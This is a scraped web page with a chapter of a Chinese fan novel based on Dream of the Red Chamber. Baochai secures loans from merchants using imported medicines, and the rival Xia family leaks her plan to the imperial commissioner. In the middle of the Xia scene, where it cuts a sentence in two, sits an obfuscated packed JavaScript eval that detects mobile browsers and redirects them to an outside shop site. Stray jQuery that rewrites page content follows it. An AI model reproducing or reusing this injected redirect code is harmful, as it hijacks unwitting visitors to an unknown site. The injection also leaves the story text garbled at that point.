64. 济世良品

作品:《红楼之黛玉美食探案江湖行

    拿到探春提供的海外药材样本后,宝钗如同久旱逢甘霖,一刻也不曾停歇。


    她回到铺子的第一件事,便是招来信得过的老掌柜、精通药性的老供奉,以及口风极紧、手艺精湛的工匠。


    烛火通明的密室里,宝钗将那些药材一一陈列,神色肃然:


    “诸位都是薛家的老人,眼下的困境,大家都清楚。夏家欺人太甚,断我货源,污我样品,欲置我薛家于死地。但天无绝人之路,这些,便是我们破局的关键!”


    老供奉们初见这些新奇药材,也是啧啧称奇。


    待宝钗说明来源和大致功效后,他们更是精神一振。


    一位发须皆白的老供奉捻着乳香,激动道:“东家,此物品质地极纯,若用于配制上好的金疮药或活血膏,效力定然远超寻常。


    还有这金鸡纳霜,老夫早年随船下过南洋,听闻过其治疟神效,若能得用,实乃济世良品!”


    宝钗点头:“正是要借诸位之眼力、之手艺,将这些海外奇珍,做出几样让人眼前一亮、无可指摘的样品来。


    时间紧迫,遴选还未结束。我们要做的,是要做出展现我薛家底蕴的产品。”


    众人闻言精神一振,兴致勃勃投入紧张的准备当中。


    *


    资金,是卡在薛家喉咙里最致命的一根刺。


    样品被污、生意受挫、各处催款……


    虽得了海外珍品,但要将它们变成遴选上能打的王牌,还需要时间、匠心和最后的打磨,这些都离不开银子。


    账房先生递上来的册子,上面的数字越来越触目惊心。


    宝钗对着账册眉头紧锁,莺儿悄悄递上一张字条,是黛玉让紫鹃送来的。


    上面只有寥寥数字:“货为凭,信为基,可觅知味者共襄此事。”


    宝钗何等聪慧,当即明白了黛玉的暗示:


    用这些海外珍品本身和它们背后的特殊渠道作为抵押或预售的凭据,去寻找那些识货、且对海外贸易有兴趣的商号合作,提前回笼资金。


    这个想法很大胆,基本没人尝试这样做,但这也可能是唯一的活路。


    寻常抵押,当铺或钱庄未必认得这些海外稀奇,压价会极狠。


    但若是找到那些本身就在做或想做海外生意,明白这些货物价值的商家,或许能谈成。


    她叫来忠心稳重的老赵,屏退旁人,将计划和盘托出。


    老赵听完,沉吟道:“姑娘,这法子险,但或许真能成。金陵城里,除了夏家,还有几家商号一直想插手南洋、西洋的货物,只是苦于没有稳妥渠道和稀罕货品打开局面。咱们这东西,来得正及时。”


    “找谁?”宝钗问。


    老赵道:“万隆商行的胡东家,祖上做过海贸,一直想重拾旧业,为人还算讲信义。还有福昌号的周老板,他女婿在舶司当个小吏,对海外货物门儿清,也一直想找机会。这两家,都与夏家不甚和睦,或许愿意赌一把。”


    “好!”宝钗当机立断,“麻烦你亲自去,带上这三样东西去。


    我亲笔写的一份合作意向。他们若愿意预付订金或提供借款,待薛家遴选过后,无论成否,他们都享有优先采购权,且价格从优。若薛家遴选成功,成为皇商,这海外药材的采办渠道,可考虑与他们共享。”


    宝钗这是在赌,赌这些商家的眼光和野心,也赌薛家和自己能挺过这一关。


    老赵深知责任重大,郑重领命。


    他换了身不起眼的衣裳,将样品和文书贴身藏好,趁着天色将晚,先去了万隆商行。


    胡东家是个精瘦的中年人,起初见老赵神秘来访,还有些不耐。


    但当他看到那色泽纯正、香气独特的乳香没药,特别是听到金鸡纳霜的名字并验看了成色后,眼睛顿时亮了。


    他久涉商海,太明白一条可靠又稀缺的海外货源意味着什么!


    “薛大姑娘好魄力!”


    胡东家捻着胡子,在厅里踱了好几圈,“只是,薛家如今的情况……”


    老赵道:“东家明鉴,正是因为有难关,才更显诚意。若非急需周转,这等稳赚不赔的长远路子,薛家岂会轻易与人共享?


    夏家步步紧逼,无非是想独吞。胡东家若此时相助,便是雪中送炭,薛家上下铭感五内,日后合作,自然不同。”


    这话说到了胡东家心坎里。


    他与夏家本就有隙,更觊觎海外利润。


    思虑再三,他一拍桌子:“好,我信薛大姑娘一次。这笔款子,我先支给薛家,利息就按市面上最低的来!


    但话说在前头,这文书和样品,我得留着做个凭证,而且,薛家日后这海外的路子,我万隆要有优先权。”


    第一关,成了!


    老赵心中稍定,又连夜拜访了福昌号的周老板。


    周老板更谨慎些,还请了位懂番药的老友来一同验看,最终也被这难得的机遇打动,同意以借款形式支持一笔,条件类似。


    两笔款子,虽然不足以完全填补亏空,却像及时雨,滋润了薛家干涸的资金脉络。


    拖欠的工钱可以结一部分了,紧急的原料可以采购了,工匠和老供奉们加班加点的酬劳也有了着落。


    宝钗肩上的重压,为之一轻。


    她将筹来的银子,一分一厘都用在刀刃上:


    重赏激励连夜赶工的工匠供奉;采买搭配海外药材所需的几味辅料……


    *


    夏守忠得到消息时,正在夏家香料铺的后堂品茶。


    来报信的是个精干的小厮,趴在耳边嘀咕了好一阵。


    夏守忠起初还漫不经心地拨弄着茶盏,听着听着,手一顿,抬眼问道:“海外土产?哪来的?”


    “说是贾府那位三姑奶奶从海疆带回来的,什么乳香、没药,还有个什么金鸡霜……薛家这几日闭门谢客,就是在捣鼓这些。听说还把铺子里几个老供奉都叫去了,连夜赶工,像是要做成什么新样式。”


    夏守忠愣了片刻,随即放下茶盏,靠在椅背上,竟哈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173143|192896||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哈大笑起来。


    那笑声里满是轻蔑和畅快,笑得小厮都有些不知所措,困惑不已。


    “海外土产?洋玩意儿?”夏守忠眼角都笑出了细纹,“薛宝钗啊薛宝钗,我当你有什么通天的本事,竟想出这么个昏招来!”


    他越说越得意,站起身,负手踱了两步,“遴选皇商,进贡的是天家御用之物!天家用的,哪样不是讲究底蕴、讲究正宗?


    百年字号、地道药材、贡品传承,这才是皇家的体面!她倒好,病急乱投医,拿些番邦蛮地的稀奇古怪东西来充数——


    这不是明摆着告诉朝廷、告诉皇上:咱们自己的药材不如外人的好?这不是打皇家的脸面吗?”


    四周那几个心腹闻言连连附和:“东家高见,薛家这是自寻死路。”


    “不必过分盯着了。且让她折腾去。等遴选之日,当着李钦差和诸位评审的面,看她如何出丑!到时候,不用咱们动手,她自己就把薛家的招牌砸个稀巴烂。”


    夏守忠重新坐回椅上,端起茶盏悠然吹了吹浮沫。


    “咱们的精力,还是要放在正事上。李钦差那边,打点得如何了?”


    “回东家,驿馆那边递过话了,李大人还是那副油盐不进的做派,不收礼,不见客。


    不过,咱们的人借着送文书、核对样品的机会,好歹能进去走动走动,递个话还是使得的。”


    夏守忠沉吟片刻,“既然不收礼,那咱们就送他一份消息。把薛家要用海外洋货参选的事,透给李大人知道。”


    “小的明白!”


    *


    驿馆内,李守义正伏案翻阅卷宗,眉心紧锁。


    案头的烛火已剪过两次,堆叠的文书却仍有半尺来高。


    堂弟留下的那些关于样品、药材、商号往来的记录,看似寻常,却总让他觉得哪里不对劲。


    门外响起轻而恭敬的叩门声,是驿丞亲自送茶水进来。


    此人一向周到,李守义未以为意,随口应了一声。


    驿丞放下茶盏,带着几分殷勤的笑意,低声道:“大人连日辛劳,小人看在眼里,实在敬佩。


    只是有些事,小人斗胆多句嘴——听闻此次参选的商号里,有家姓薛的,近日不大安分。”


    李守义手中笔一顿,抬眼看向驿丞。


    驿丞忙道:“小人也是听外头零星议论,说那薛家近日闭门谢客,悄悄捣鼓什么海外来的洋药材,打算在遴选时充作贡品进献。


    大人您想,天家御用之物,历来讲究地道正宗,用那等番邦蛮货,岂不是……不合体统?”


    他边说边觑着李守义的脸色。


    李守义只是将笔搁下,神色沉沉。


    驿丞见状,又补了一句:“小人妄言了,大人自有明断。只是想着大人刚正不阿,定不愿见这等投机取巧之事蒙混过关,故此多嘴提醒一句。”


    李守义淡淡“嗯”了一声,未置可否,挥了挥手。


    驿丞识趣地退下,脚步轻快地消失在廊道尽头。